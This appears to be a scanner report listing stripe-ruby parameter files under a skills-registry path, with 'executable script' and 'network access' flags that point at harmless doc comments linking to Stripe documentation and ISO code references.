# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 418
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 467
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 469
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 479
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 481
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 531
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 624
# The currency the bank account is in. This must be a country/currency pairing that [Stripe supports.](https://docs.stripe.com/payouts) - Network accessline 755
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 763
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 786
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 821
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 870
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 879
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 888
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 912
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 920
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1019
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1021
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1031
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1033
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1075
# The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht - Network accessline 1077
# The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi - Network accessline 1087
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1089
# The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 1179
# Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header](https://docs.stripe.com/connect
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/token_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 14
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 16
# The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, this can be a test bank token (see [Test
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/topup_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). - Network accessline 16
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 18
# You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until the original charge becomes available. [ - Network accessline 22
# A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_reversal_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/transfer_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/credit_reversal_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/debit_reversal_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_close_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 175
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_features_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_features_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_retrieve_features_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_update_features_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/financial_account_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 192
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_fail_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_return_inbound_transfer_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/inbound_transfer_succeed_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 12
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 20
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 86
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 110
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net - Network accessline 138
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 156
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_fail_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_post_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_return_outbound_payment_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_payment_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 21
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net - Network accessline 37
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 51
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_fail_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_post_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_return_outbound_transfer_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/outbound_transfer_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 34
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_credit_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 34
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/received_debit_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_entry_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/treasury/transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_adjustment_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 16
# `value_settings.event_payload_key` (default is `value`). Read more about # the # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides). - Network accessline 18
# [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_session_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/billing/meter_event_stream_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 17
# `value_settings.event_payload_key` (default is `value`). Read more about # the # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides). - Network accessline 19
# [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_close_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 101
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 178
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 180
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p - Network accessline 851
# The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 853
# The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 878
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1040
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1090
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1092
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1094
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1142
# Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 1179
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1213
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 1215
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1236
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1248
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1260
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1272
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1284
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1296
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1309
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1311
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1319
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1331
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1343
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1355
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1428
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 1430
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1450
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1485
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1609
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1666
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1715
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1727
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1740
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1742
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1750
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1763
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1765
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 1773
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 1785
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 1864
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1899
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1995
# The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2052
# The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_link_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/v2/core/account_token_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 29
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 31
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 33
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 106
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 140
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 142
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 163
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 175
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 187
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 199
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 211
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 223
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 236
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 238
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 246
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 258
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 270
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 282
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 355
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 357
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 377
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 412
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 536
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 593
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 642
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 654
# One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`. - Network accessline 667
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 669
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 677
# The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document. - Network accessline 690
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 692
# A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image - Network accessline 700
